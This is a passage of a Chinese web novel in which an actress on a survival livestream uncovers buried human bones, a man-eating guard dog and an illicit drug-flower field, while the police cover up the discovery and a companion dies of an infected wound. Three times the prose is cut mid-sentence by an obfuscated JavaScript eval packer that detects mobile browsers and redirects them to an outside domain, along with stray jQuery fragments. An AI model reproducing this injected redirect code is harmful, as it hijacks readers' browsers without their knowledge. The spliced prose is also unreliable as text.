【这个犬种叫做玛雅狗,祖上是猎犬,我旅居亚特林的时候见过这种狗,一般人认不出来,因为它们已经绝种,剩余的少量隶属于亚特林溧夷族原始部落。它们可以帮助溧夷族人狩猎、捕猎、看管猎物,溧夷族进行远古祭祀的时候也会派这种狗来收拾残局。】 墨绿色弹幕一口气打出了一长串文字。 【那是很好的狗啊。】 【没听明白,不就是那种普通的性子烈的猎犬吗?为什么要特意提出来?】 墨绿色弹幕顿了顿,又打出一句话。 【这狗之所以绝种,51世纪几乎见不到了,是因为这狗有个最大也是最恐怖的特点……】 【快说啊大佬!】 【什么特点?】 墨绿色弹幕终于打出了那句话。 【它们的食谱里有人类。】 【????】 【???啥玩意?】 【什么意思,我没听错吧?】 【卧槽太恐怖了,难以想象刚刚如果主播没来,陈英喆会遭遇什么!】 雨幕里缓缓浮现墨绿色弹幕的总结词。 【这狗出现在这种地方,只能说明一件事,它们在看管什么东西。】 李若水握着铲子的手失去了力气,铲子倒在泥泞的土地上。 土地的纹理被哗啦啦的暴雨淹没,雨水耕耘着孕育万物的泥土,被铁铲挖出的泥土积聚成堆,堆成了一座座小山似的坟墓。 乌鸦沙哑地鸣叫着,穿过透明的雨幕,它低垂着高傲矜贵的头颅,在这座被灰调笼罩的树林里盘旋。 盘旋过三人的头顶。 盘旋过黑褐色泥土里掺杂的满目星星点点白色。 痛哭声和质问声已经消失,就连暴雨的声音也变得安静。李若水三人望着遍地密密麻麻的白骨,仿佛置身于寒冬天的冰窖,伴随着一种难以言喻的恐惧,寒战如同千万只蚂蚁爬上身体。 实时弹幕没有反应,网友们被眼前景象惊呆到失去声音。 帝国互联网上再次陷入爆炸的舆论。 “双生岛·多具白骨” “双生岛·尸体们” “双生岛·身份不明死者究竟是谁” 42. 终于告别 帝国第一区侦察所的接办电话不停狂响,接线员急得满头大汗,不住用手帕抹去脸颊和脖颈的汗水。 “喂,您好……是,我们看到了,目前我们也正在调查中……等我们通知就行。” 刚放下话筒,电话又“叮铃铃”响了起来。 “喂,您好。……双岛求生?对,我们已经接到数十起关于这个节目的来访电话了……我们一定会仔细调查。” 接线员皱着脸在汗水中挤出一个皱巴巴的干笑:“请国民放心,帝国侦察局会竭尽所能调查所有未结案件,帝国法律的尊严不容冒犯。” 放下话筒,转身向身旁的办事员抱怨道:“一辈子的电话都接完了,什么破事啊!” 与此同时,副所长的办公室也传来一声同样的感慨。 “什么破事啊!” 副所长无可奈何地叹着气,对刑事组组长抱怨道。 上面压着的大山被搬走了——无所谓,那座大山本来也不是什么好东西!成全了自己这个万年老二上位,眼看就要成为最大赢家躺赢了——莫名其妙一桩震惊全帝国,不,是震惊全球的案件就在几十亿观众的眼皮子底下发生了。 “我已经跟上级汇报了,事关重大,我们不能随意跨区调查,随意进行事件汇报,必须把舆情考虑在内。” “舆情已经沸腾了,还有什么可考虑的。”刑事组组长漫不经心地说,他把视频拉回去,又看了一遍,“这些尸体碎得不成样子,简直就像被狗啃过,一看就死了不知道多少年了,就算去了现场,又能查出什么来。” 副所长按住额头:“那总得进行案情通报吧?” 正谈论着,所长办公室的专用通讯电话响了。副所长一看来电号码,赶紧接起来,对刑事组组长做了个噤声的手势。 “喂?部长您好。”纵使对方看不见,副所长脸上依然堆满了殷勤的笑,“部长您快救救命吧,我这边可真是火烧眉毛了!领导们是什么意思?” 刑事组组长支起耳朵,仔细地倾听着。 “我们已经讨论过了,这件事,太久远了,也调查不出什么东西来,你说是不是?” 那头的声音在电波里遥远地响着:“就不用浪费军力去调查了,你们做一个事件通报吧,随便怎么说,重要的是要大事化小、小事化了,懂我意思吗?” “懂……”副所长迟疑道,“部长,这件事实在闹太大了,现在民意已经沸腾了,如果我们不派人去现场,实在说不过去啊。” “民意沸腾,就让它沸腾吧。” 电话那头的人用不容置疑的口吻说道:“这么多年,哪件事没沸腾过?最终不都是归于平静吗?” “但是,这样什么都不管的话,如果那座岛上有潜藏的犯罪分子,那些艺人会不会有危险?”副所长犹豫着插话。 对面嗤笑:“你年薪多少?倒操心起锦衣玉食的死活来了。这件事,上头怎么说,我们就怎么办。” “更上面的那位说了,明星的命是命,侦察员的命就不是命了吗?对于帝国来说,军力才是最重要的。没必要为了这种小事动用宝贵的军力资源。” “好的,我知道了。”副所长敬了个礼,挂断了电话。 刑事组组长皱眉:“上面的那位?谁啊?执行总长官?” “真不知道总长官怎么想的!”副所长急得直跺脚,“这老头是不是疯了?再拖下去这些人命都要没了!” 刑事组组长将牛奶的吸管插入纸盒里,翘着二郎腿喝起了牛奶:“谁知道是谁的意思呢,他不是投奔了蒋议员的派系吗?最近好像正好是蒋议员的第二次竞选吧?” 牛奶被吸得呼呼作响,刑事组组长将空盒抛进垃圾桶。 “那位,支持率可是历年来最高,铁板钉钉的下一届总统啊。” 副所长瞪了他一眼,示意他不许再说了。 @霍拉帝国第一区侦察所:现发布一起警情通报[图]。 我分所接到群众报案称,某岛发生掩埋尸骨案件。分所侦察员迅速联系十二区辖区分所,赶赴现场进行调查,现将调查结果通报如下: 尸骨经检测,身份为岛附近小农渔村的渔民和猎户,系打猎捕鱼失足而死,不存在故意凶杀的嫌疑。 网络不是法外之地,希望国民不信谣、不传谣,相信帝国政厅和皇室的调查结果,不要再进行无谓的争论。 这条警情通报一发,立刻引发网民议论。 [哎,吃瓜群众都散了散了吧,我还以为有什么大瓜吃呢。] [搞得那么故弄玄虚,结果就给我看这?] [我都说了不可能是凶杀案吧,现在帝国治安那么好,哪来的凶杀案。] [皇帝陛下万岁!] [还是高呼总统大人万岁吧,总统大人才是执掌军力的人啊。] 路人发完评论,顺手从贴着大幅照片的塑料箱上拿走一瓶水,挂着蓝色条带的志愿者笑脸相迎:“天热多摄入水分,也请多多支持我们蒋天鹰议员哦。” 蓝底的大幅照片上,白头发的清瘦男子对着过路的行人露出文雅又谦逊的微笑,看着就让人心生好感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594083|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照片下面用醒目的字体印着一行黑色大字:“努力创造一个让国民放心、没有罪恶、犯罪率为0的霍拉帝国!” - 迟迟等不到阚炆的回复,李若水心急如焚,但她知道,不能再等下去。这座岛危机重重,必须得送该离开的人先行离开。 阴雨天的天空灰蒙蒙,雨水一滴滴从乌云里往下渗,就像天花板里持续不断漏出的脏水。渔民的船在波涛汹涌中破浪而来,像一只决然的箭矢,在公海的领域荡来荡去。 那只小船越来越近,越来越近,眼看就要进入视线。 李若水一把夺过杜小凡的迷彩烟,拉响了开关。 杜小凡吃惊道:“若水姐!” “我不走!” 杜小凡伸手去挥散袅袅升起的迷彩烟雾,哭了半天的眼眶红肿得像个桃子,泪珠在眼底打转:“我不要走!这里太危险了,我要在这里跟你们一起。” 烟弹鸣响警笛,嘹亮的警笛吸引了渔民的注意,他滑动船桨,将航行的方向朝岸边调转过来。 “你必须得走。”李若水眼神决然,“你在这里,会死。” “能活一个人是一个人。” 渔夫支起船桨,船缓缓地靠岸。 “你走以后,立刻去侦察局报案。”李若水看了眼雷电过后已经刷新不了网页的手机,“我不知道现在网络上是什么风向,但是从信号没断掉之前的局势来看,舆论对我们有利。” “然后,你再帮我调查一件事。” 船在水波里轻柔地晃悠,李若水扶着杜小凡稳稳地踩上船面。 “你去找一个叫倪夏的人,她也是艺人,你能找到她。她的父亲是侦察局老办事员,负责人事档案整理。” “你请她帮我调查一件事。接下来我说的每个句子你都记好。” “我要找的人,需要符合以下两个条件:一、近十年有达加奥入境记录;二、和王良奥有交集的失踪人口。” “一旦调查有结果,你立刻打电话给我,现在网络信号卡顿,不知道什么时候就会彻底失联,速度一定要快。” “交给你了,小凡。”李若水郑重其事地抓着杜小凡的手臂,那带着托付的力量将她深深禁锢,动弹不得。 “我交代给你的事,你一定要做好。” 杜小凡坐稳在船面,泪眼婆娑地看着李若水。 船渐渐地离岸,两人的手不受控地分开,灰色的船灰色的天,女孩的身影即将变成模糊的小点。 杜小凡的眼泪流下来,站起身喊道:“我会的!” 43. 翡翠吊坠 海面上雾蒙蒙的,那只小小的灰色渔船在波浪中呼啦作响地摇晃,如同灰色的雀拍打着翅膀远去。 直到目送那只雀完完全全消失在视线里,李若水才转头看向陈英喆。 小腿的血已经渗透绷带,还在滴滴答答流着,男生抱着膝盖坐在地上,那一蓬金黄的头发被雨水浇湿又晾干后鬈曲起来,黄得发蔫。自从发现那枚手镯后,他一直保持着这个姿势。 李若水蹲下身,揭开绷带,再次给伤口喷了药,满目的鲜血,她越看越触目惊心。男生任由她动作,不喊痛也不拒绝。 “既然不是凶手,为什么不否认?”李若水问。 陈英喆抬起脸,那双眼睛空洞无神,犹如一潭死水,仿佛对这个世间已再无留恋。 “没什么好否认的,你说的没错,我确实是为了杀人而来,我来的这一趟,已经做好了死的准备。杀一个还是两个,是不是我杀的,有什么区别。” 李若水还想追问,但男生已经紧紧闭上眼睛,摆出一副抗拒交流的姿态。 李若水没多计较,仍旧继续铲着土,直到这片面积广阔的土坑被她翻了个遍,她这才罢手,将土里挖出的物件仔仔细细用防水袋密封装好,一件件放入行军包里。 琐碎的饰物里,有一条钻石项链和翡翠吊坠盒,这两件首饰即使沾满污秽泥土,依旧熠熠生辉,宝石折射出夺目的光芒,一看便知价值不菲。 李若水将它们仔仔细细地用衣摆擦拭干净。陈英喆不知何时睁开眼,注视着她的动作,冷笑一声:“人死都死了,这么珍惜遗物,有什么意义吗?也不过是装模作样罢了。” 她惊诧地回头,男生的神情丢失了一贯的阳光与和善,眼神深邃而冰冷,带着浓浓的厌恶和嘲弄。 但,李若水隐约觉得,这厌恶并不是冲着自己的。 她没有回应,而是打开了手机的珠宝验伪APP,自从糊了之后,李若水去二手店变卖过一些昂贵的珠宝首饰,被店员内推过这个验伪软件,据说很准。 焦距对准了雨中闪烁着光彩的项链和吊坠,正在识别中……识别结果…… “钻石项链(正品):售价20000帝国币。国际知名珠宝品牌Goldwell产品,采用双层立体设计,密镶钻石……于4027年10月发售,为当年限量生日月特定产品。” 李若水暗暗吃惊,2w的售价,并不是一个小数目,佩戴项链的人家境不错。这样的人怎么会流落到荒岛上呢? 然而,翡翠的识别结果更令她大吃一惊,差点摔了手机。 “承袭之星(正品):售价2亿帝国币。玻璃种翡翠挂件,翠绿浓阳正匀,圆润饱满,周边镶嵌同款小型钻石,形成拥簇的局面……曾创下第30届拍卖会珠宝价最高。” 拥有这种天价饰品的人,死在了荒岛上?怎么可能?! 李若水将翡翠吊坠盒翻来覆去地打量,果然找到一个暗扣,按下去之后,吊坠盒开启了。 方形暗纹的盖子缓缓弹开,露出一张方方正正的一寸小照,不愧是无价之宝,吊坠的外壳制作精良,雨水和泥泞没有一点侵染到这张照片,照片上一老一少的容颜依旧清晰无比。 老人坐在椅子上,旁边的男子弯下腰,紧紧搂着他的肩膀,笑容可掬。年青的男人穿着一身黑色外套,面容英俊,神色高傲,最特别的是那双绿宝石一样的眼眸,让他看上去像外籍贵族。 雨依旧淋淋漓漓地下着,这阵雨比之前更加冰冷,潇潇的冷雨沁入人的骨子里,仿佛要将人拉扯到腐烂潮湿的春天里去。 绿蝎子爬上来,一口蛰下去,蛰得人伤口阴寒发疼。 原来是你! 故人,果真是故人。 愈合的伤疤被活生生撕开,长久以来埋藏的仇恨如同被蛆钻拱,翻开血管涌上心头。李若水一直以为自己忘了——起码很长一段时间她是这样以为的,她如常地吃喝,如常地开朗,如常地恋爱。 她把自己的片酬大笔大笔地打回家,想尽一切办法避免回十三区,她实在是害怕那副景象——推开门,养母坐在昏暗无光的卧室里,把收音机紧紧抱在怀里,天线拉得老长,一遍遍地听新闻。 如果李若水推开门,她就会转头用一种渴望又期待的眼神看过来,问李若水,这个收音机是不是坏了,不然怎么一直听不到囡囡比赛得大奖的消息呢?养父会在这时走过来,掩上房门,请她体谅他们因丧女之痛而导致的失态。 李若水捏着翡翠吊坠,人虽立着,魂灵已经出窍,那个呆滞的魂灵走到侦察局太平间,侦察员问:“小姐,请您辨认一下,这是您的父母吗?” 她默不作声看着侦察员掀开白布,看着那两具被磁轨撞得稀烂的尸体。她面无表情,直到嘴角不受控地抽搐,再到眼角,眼角也开始抽动,抽动着泪水流了满脸。 她跪在那两具尸体面前,泪水和鼻涕掉得老长,她不是艺人,不是大明星,只是一个从没被他们真正接纳过、真正当作过女儿的可怜小丑。 可是她也没有资格怪他们什么,如果不是她,他们怎么会到死都痛苦,她这种人根本不配幸福,也不能幸福。 她可怜的养母,因为患上精神分裂症,才会跌跌撞撞走向磁轨,在磁轨呼啸而来的幻觉中寻找一个早已死去的人。 养父想要拉回养母,却来不及阻止,最终一起被磁轨撞死,李若水从接到死讯的那一天开始睡不着觉,她总在想,他们疼不疼,死之前有没有回光返照,有没有恨过她? 那么好的人,应该是不会恨的吧? 得知养母确诊精神分裂的那一年,她风华正茂,春风得意,却被这个消息给了当头棒喝,扔掉了手机,一个人躲在房子里,睡了很久。直到经纪人珍姐找过来,生托硬拽拉她去饭局。 那场饭局上,她见到了双星晖,男人如众星拱月般高高在上,却主动走过来跟她说,自己是她的影迷,希望能和她更近一步做朋友。李若水心情不好,厌倦了这种搭讪流程,带刺回应说,做朋友是要拿出诚意的。 第二天,她就接到了第十四周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611290|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年帝国影视周年会的邀请函,邀请她作为颁奖嘉宾,这实在是莫大的殊荣。这就是双星晖的诚意吗?李若水将邀请函翻来覆去看了很久,最终还是决定去,她现在孑然一身,只剩事业了,如果不做事业,她还能用什么来消磨这种痛苦? 就在那天晚上的晚会后台,发生了娱乐圈至今都津津乐道的“李若水掌掴阚炆事件”。 她无法忘记阚炆质问她的话——那一刻只有一个念头在她心里反复割肉折磨:原来在你心里,我如此不堪吗?或者是,他的话只是给了她一个确认,原来我真的是如此不堪的人。 所有声音都渐次消失了,呼吸中静静地任由回忆肆意疯长,恨意、自厌和绝望像一把匕首直抵喉咙。李若水突然一阵反胃,把翡翠吊坠盒扔进了行军包,拉上拉链。 静默了很久,陈英喆突然问:“你,你真的能通灵吗?” 手机上代表信号通畅的圆圈不停打着转,网络卡顿得厉害。弹幕已经消失了,直播屏幕一片空白。整个荒岛仿佛只剩下他们两人,无人打扰这场谈话。 李若水:“如果我真的能通灵,你想知道什么?” 陈英喆双眼泛起一点光亮,眼也不眨地盯着她:“你能不能找到憧光的灵魂,帮我问问,他究竟是怎么来到这座岛上,是谁害了他?” 李若水沉默两秒,说:“抱歉,我做不到。” 陈英喆眼里的光消失了。 植被幽深,蛙鸣在雨中飘摇而渺茫,雨丝打在地上的枯枝败叶上,脚踩上去发出沙沙的声音,时重时轻。重的是李若水的喘息,她搀扶着陈英喆,男生的整个重量倚靠在她身上。轻的是陈英喆那只伤腿,那只腿无力地被前腿扯着走,落地时只有蜻蜓点水的力道。 两个人都默契地没有说话。他们搀扶着行走在绿色的枝叶下,黯淡的天光在头顶或脚下旋动。 信号越来越弱,手机电量也越来越少,李若水不敢再消耗手机。她按照记忆里的地图路线走,奇怪的是,明明应该快要抵达官岛边缘,脚下的植被却越来越茂密,几乎已经盖过了李若水的小腿肚。她隐隐约约觉得有哪里不对头。 不知从哪里又传来了含混的狗叫声,让人感到恐惧。 前方的豁口处似乎地势不同,李若水累得满身是汗,拖着陈英喆一步一步地朝那个豁口走过去,鞋底擦过草叶发出刺啦刺啦的响声。 掀开披流而下的草叶,她惊呆了。 遮天蔽日的植被荡然无存,天光大亮,碧蓝的湖水随着雨丝静静漾起波纹,芦苇在冷雨中幽幽摇曳,幽蓝的花田铺天盖地种满了湖边,将整座湖都围绕起来,一半深蓝一半浅蓝,如同童话中的幻境,让人连呼吸都暂停。 扑面而来的花香让人幸福得头晕目眩,飘飘欲仙,有种想要睡倒的冲动。 “这是……” 李若水深吸一口气,鼻间涌入更多香味,身体也变得轻飘飘的。 身边的重量陡然一轻,陈英喆再也支撑不住,搭在李若水肩膀上的手垂落,倒向一边,昏了过去。 44. 特殊的花 【花田?】 【哇,这花真美!】 【好美的地方!还真是别有洞天啊。】 【妈妈,别问我为什么跪着看直播……】 【前面的,你们太天真了,你们知道这是什么花吗?看那花蕊,看不出来吗?我在屏幕前起了一身鸡皮疙瘩。】 【?什么花?到底是什么花啊,急死我了!】 一行闪烁着葱绿色光芒的文字出现在弹幕间。 【这是喜粟花。】 【喜粟花?!喜粟花不是禁种的吗?】 【这看起来不像是喜粟花啊。】 葱绿色弹幕的语气更凝重了。 【你们不知道很正常,因为这是帝国农学院某外聘学者研制的新变种喜粟花,其制作的针剂毒性和成瘾性都大于先前的品种,就连香气也有些许致幻作用。从一开始,这个科研项目就没能通过帝国皇家科学院的审批,研制出来之后,更被诟病其破坏伦理和公德。大概十年以后,这个品种就销声匿迹了……我没想到,居然在一座荒岛上看见了它。】 墨绿色弹幕紧跟其后发声。 【我觉得有点奇怪,我刚刚去查了查,双生岛这一块地界,不是喜粟花自然生存的区域。】 【这代表着什么?】葱绿弹幕问道。 【这岛绝非无人之地,恰恰相反,这岛有主,而且很危险,能把一座岛种满喜粟花,致幻品需求量得多大,普通人会需要这么多致幻品吗?】 【你的意思是……】 【没错,这座岛是个巨大的制毒工厂,背后的大鱼还不知道在哪藏着呢。】 李若水仰头望着上空深绿浅绿夹杂的弹幕,一阵风拂动她的短发。 她惶然的瞳孔倒映出密密麻麻的弹幕,即使这些弹幕来自未来,曾给过她无穷无尽的底气和新奇,此刻在这一片辽阔的蓝色花田前也显得如此渺小。 他们只是虚拟的代码,给不了她真实的帮助,也不能给她打造一个可以藏起来的安全屋。 她面对的,到底是怎样不可撼动的庞然大物? 李若水像一只稚嫩弱小的蚂蚁,整个人如同被冰封住般手脚麻痹,微微战栗。 忽然,她身子一颤! 她看见了! 被风吹动着、半人高的花海帐中,那只矫健的黑影正急速窜过,带着焦躁饥渴的呜咽声。是那只黑犬!或许,已经不能再叫它犬,当它选择把人类纳入食谱的那一刻,就已经不再是人类的朋友,成为了野禽的一类。 如果是刚上岛时的李若水,还有勇气与之一战。但是现在,多日没吃饱东西,又饿又累,唯一的青壮年陈英喆已经失去意识,手边没有火,没有石头,只有裤兜里的一把小刀。 李若水缓缓蹲下身,拖着陈英喆一点点地向前挪动。 黑狗竖着耳朵,又尖又短的耳朵微微一动,李若水立刻停下动作,匍匐在地,不敢再动弹。 幸好,它转动着四处梭巡一番,并未发现他们二人,又呜咽着离开了花海。 李若水瘫倒在地上,这时才察觉手已经剧烈地颤抖起来,眼前隐隐发黑。 这是低血糖了。 她赶紧去摸行军包里的食品,这才发现本就不多的食物已经所剩无几。本来预计再走一段路程就能撑到过岛和大部队会合,现在……李若水咬了咬牙,拆开一袋饼干,掰下一小块,放在嘴里含软了,慢慢咽下去。 带着甜味的饼干顺着食道流入胃,那一点微微的甜味缓解了李若水的饥饿和晕眩,这一刻,她幸福得想哭,又难过得想哭。 躺在香气怡人的花田里,陈英喆微弱的呼吸在身旁均匀地响着,温热的泪水从眼角两侧流下去,从颧骨处滴落,像一滴水珠滴落在窗台的一小洼积水上,隐入一场咸热的雨季。 “李若水,你在看什么?” 躺在身边的男孩说。 其实只是李若水习惯了他男孩时期的样子,所以总觉得他还是个小男孩。实际上,他已经是个少年了,整个福利院,没有比他更好看的男生。 “我在看窗台上的积水。”李若水说。 窗台下摆着黑黢黢的碗柜,柜门的镜面反射出少年的身影,他身形一动,靠坐起来,利落的下颌线,英气逼人的脸庞。 李若水看到他在凝视她,她耳廓一热,假装不知道。 她用手拼命扇着风:“梅雨季节好热啊。” 少年没有说话,过了一会儿,他说:“李若水,我要走了。” “走?”李若水随意地说,“好啊,你想去哪,我陪你去。” 少年摇了摇头:“你不能陪我去。因为我是要离开福利院,我被人领养了。” 李若水呆住了。呆滞了半晌,她掀开被子,朝院长办公室赤足狂奔而去,一把推开院长办公室的门:“院长!” 院长办公室坐着一对夫妇,女人珠光宝气,肚子挺得老大,男人西装革履。李若水惶急走到院长面前:“院长爸爸,能不能跟领养阚炆的叔叔阿姨说,把我也给一起领养了?” “你别胡闹了,李若水。”李若水从来没见过慈祥和蔼的院长露出那么严肃的表情,“阚炆是阚炆,你是你,你跟他不是一个世界的人,懂吗。” 说罢,朝那对夫妇颌首:“对不起,福利院的小孩子不懂事,请不要见怪。” “一个拖油瓶就够了,还要两个?可笑!”女人从鼻子里哼了一声,转头对男人说,“我可告诉你,找回来归找回来,必须走收养手续,一毛钱也不能抢走咱孩子的份。他小时候走丢可不关我的事,我问心无愧!” 男人忙陪笑把女人揽进怀里:“好好好,都听你的。” 李若水愣愣地站着,脚趾头蜷缩起来,以她这时的阅历程度,根本听不懂这些话的意思。 她站了很久,久到院长桌上的茶都凉透了,院长出门送客,阚炆告别的声音,门外小汽车启动的声音。 直到这些声音都消失,她还傻傻站着。院长回到办公室,叹了口气,蹲下身给她套上鞋。 “李若水,别怪院长爸爸。我给你联系一户人家领养,好吗?” …… 低血糖所致的黑朦慢慢变得清晰,天色不知何时已经黑了,天上高悬着一轮明月。 她缓缓转动脸庞,身侧却没有人。陈英喆呢?李若水吃力地撑起身体,前方的花海帐中传来窸窣声,她用手掌拨开花枝一看,半人高的枝叶中,蹲着一个黑影,正在大口大口地吃着什么。 黑影听到动静,回过头来,朦胧的月光映衬出他糊满鲜血的嘴和空洞的眼神。 吃、吃尸块? 李若水白眼一翻,晕了过去。 再醒来时,是被陈英喆拍醒的。 “雨停了,若水姐。”他说,“你要往前走,走出这片花田。” 他脸色比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629811|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先前更加惨白了,嘴唇也干裂得不像样子,但声音却很有力道。李若水先是惊讶他居然在重伤的程度下还有力气说话,但回想起他昨晚的样子,又害怕地往后退了几寸。 “离我远点,你这个变态!”李若水拍开他的手,用警惕又嫌弃的眼神看着他,“你昨晚在吃什么?” “你别管了,反正不是吃人。”陈英喆瘸着一条腿,搀着她站了起来,“你往前走吧,你昏倒的时候我探查了一下,一直往前走就能走出去。” “你呢?”李若水犹豫着问,“你不是说要杀人吗?” 【主播,你人还怪好嘞,你还提醒他。】 【主播真的是好气又好笑。】 陈英喆无奈地指了指自己:“你看我现在这样,像能杀人吗?别人不杀我就不错了。放心吧,我放弃了,我准备在这里等待救援。” 他掏出一颗迷彩烟,在手里掂了掂。 “喏,待会你走了以后我就拉响,很快就会有人来救援的。我想开了,恶人自有天收,轮不着我来收。” 李若水注视他三秒,陈英喆也坦然对视。 最终,李若水点了点头:“你保重。” 她迈开脚步,背着包大步朝前走去。 及腰的花海如同有呼吸般瞬间将她淹没,香气也在一瞬间铺天盖地涌来。 青绿的花杆、夏蓝的花苞,大朵大朵在身边摇曳,轰轰烈烈地开满了湖边,如同碧蓝的火焰,摧枯拉朽地烧遍整个岛的边缘。 她拯救不了更多人,也拯救不了所有人。 只能一直一直往前走。 这一路,李若水孤身一人,尽量避开野狗可能出现的区域,饿了就把饼干掰成碎块吃,渴了就用水打湿嘴唇。 走到花海半途,手机铃声响了。 李若水一看来电是第一区,猜测可能是杜小凡,赶紧接起来。 “喂?” “是我,若水姐。” 果然是杜小凡,她的声音很焦急。 “我一落地就想去侦察局报案,但是我看到了侦察局发布的警情通报,说那些尸骨都是渔民和猎户,我很纳闷,就戴着口罩和墨镜去侦察局问,结果那些办事处的人理都不理我,随口敷衍我说,他们去现场勘察过了,这是怎么回事啊?他们根本没上岛啊,连十二区都没来过!” 李若水蹙眉,事情的发展有些超出预料了,侦察局怎么会突然做出这么损害公信度的事情呢? “还有,我去找了倪夏,她人很好,立刻和她爸爸连夜帮我调查,最后经过大数据计算分析,你提的两个条件重合的交集里果然有几十人,而且,他们的身份信息都惊人地相似,都是不出名的小艺人,都是在年少刚成名的时候就失踪了,他们的家人报案、寻找,最后都一无所获。” “我拍下了那些人的名字,自己用网络搜索了一下,档案上并没有写,但是我发现一个很可怕的点……”杜小凡咽了咽口水。 “是什么?”李若水迫不及待地问,她脑海里的线头在逐渐松动,似乎有什么线索将要解开。 “他们在童年时期,都参加过星星孩子这档选秀,并且都进入了二面。” 李若水心头一凛,寒意从尾椎骨爬上脊梁。 “我假装粉丝,想问问现场救援的事,刚问出口,就被侦察员不耐烦地打发走了,我怀疑他们根本就没打算派人来救援。”杜小凡又气又急道。 45. 神奇通道 侦察局那边一定是接到了什么命令,才会导致他们连表面功夫都不屑于做了。 没有救援,没有通告,现在这座岛真正成为了与世隔绝的荒岛。 突然,李若水心头一跳。 她转头向来时的方向望去,清晨时分,日照初升,一片如诗如画的魅蓝花海在风中轻轻摇晃,将她包围在中间,无论朝哪个方位,都不见迷彩烟升起的痕迹。 如果侦察局根本不会来人,陈英喆口中的救援又从何而来? 糟了! 她拔腿就往回狂奔。 手机垂落在身侧,杜小凡在电话里焦急地问道:“喂,喂,若水姐?你在跑吗?发生什么了?” 李若水没有答话,她的脚步像要冒出火星般奔跑着,如同一只野猫,飞速掠过蓝色的海洋和碧绿的根茎,衣摆掀起潮热的风。 如果,如果陈英喆早就知道救援队不会来…… 如果他根本是故意叫她走…… 李若水停下脚步。 她难以置信地捂住嘴,看着眼前的一幕,手机掉落在草地上。 无穷无尽的蓝色被风推出温柔的浪潮,翠绿色的草地上静静躺着沉睡的男生,他脸色红润,怀中搂着白色CD机,仿佛睡得正香。小腿伤口处的绷带已经解开了,那一块创口在潮热气候中腐烂成紫黑色,鲜血仍在不停流淌,胫骨下浸润成一大片血泊。 【天哪,这怎么看,也活不成了吧?】 【主播快拿药救他啊!】 李若水被弹幕一提醒,赶紧低下头,疯狂地在行军包里翻找着药品,可是所能翻到的也不过就是一些所剩无几的外伤药品,怎么看也无法解救面前重伤后又因感染而高烧的人。 【不要找了。】 墨绿色弹幕沉痛地说。 【那个年代没有药品可以救活现在的他,这个人注定是活不成了。】 不,不。李若水颤抖着爬到陈英喆身边,轻轻拍打着他热得发烫的脸颊,想让他保持意识清醒。 “陈英喆,你醒醒。”李若水轻声说,“不能睡啊。” 陈英喆没有反应。李若水胡乱地在他身下摸索着,想要给他解开衣服散散热度,摸着摸着,动作却是一顿。 她把触及到的毛茸茸掏出来,是几只被剖开扒皮的死老鼠,皮下的生肉已经被啃得不成样子。 她忽然想起昨天夜里,陈英喆避着她大口吞咽东西的场景。原来,原来陈英喆是吃了这些死老鼠肉吗?他装出状态良好的样子,只是为了节省下口粮让她全部带走? 李若水的眼泪一颗颗落下来,打湿在陈英喆脸上。 仿佛被这些泪水淋湿触动,陈英喆双眼睁开了一条缝,艰难地蠕动嘴唇,喊了一声:“若水姐……” “哎,你醒啦?”李若水怕惊醒他似的,低声说,“你是发高烧了,别怕,我给你用冷水毛巾降降温。” 陈英喆摇了摇头。 “不用浪费矿泉水了……我的身体情况我自己清楚…我应该是要死了。” “不,你不会死的。” 李若水的眼泪流得更凶。即使和陈英喆相处时间不长,即使陈英喆身上的疑点还未解开,她仍旧愿意相信自己此刻的感觉——陈英喆绝不是个穷凶极恶的杀人狂。 “若水姐,我拜托你一件事。”陈英喆虚弱地说,“我死以后,你把我的骨灰洒到海里,行么。” 那双下垂的眼睛紧紧盯着李若水,其间的光芒令她一时间说不出其他话语,哽咽道:“好。” 陈英喆苍白的嘴唇漾起微笑:“谢谢你。” 下垂的眼睛里的光芒消失了。那双眼睛缓缓地闭合,似乎再也撑不下去了。 李若水嚎啕大哭。 就在这时,她听到耳畔响起一个很久很久没有出现的、熟悉不已的机械音:“警告!警告!检测到此次直播过程中宿主的负面情绪已经接连三次超过身体极限负荷程度,宿主符合通道开启条件,现已紧急开启红色救援通道!” 一瞬间,李若水眼花缭乱。 面前弹出无数个弹窗面板,每个面板上都是鲜活的画面,这些画面同时播放,她看见无数她认识或不认识的人在说话或动作,每个画面上都是她看不懂的场景,有躺在鲜血里的杜小凡,有她坐在侦察所里被侦察员盘问,有她抱着昏倒的裴婉命狂奔,还有陈英喆用刀捅人的画面。 大脑摄入太多信息,李若水头痛欲裂,抱住脑袋痛苦地呻吟起来。 这些画面,到底是什么? 机械音还在继续。 “直播积分结算结束,目前宿主的全部积分值为1000分。 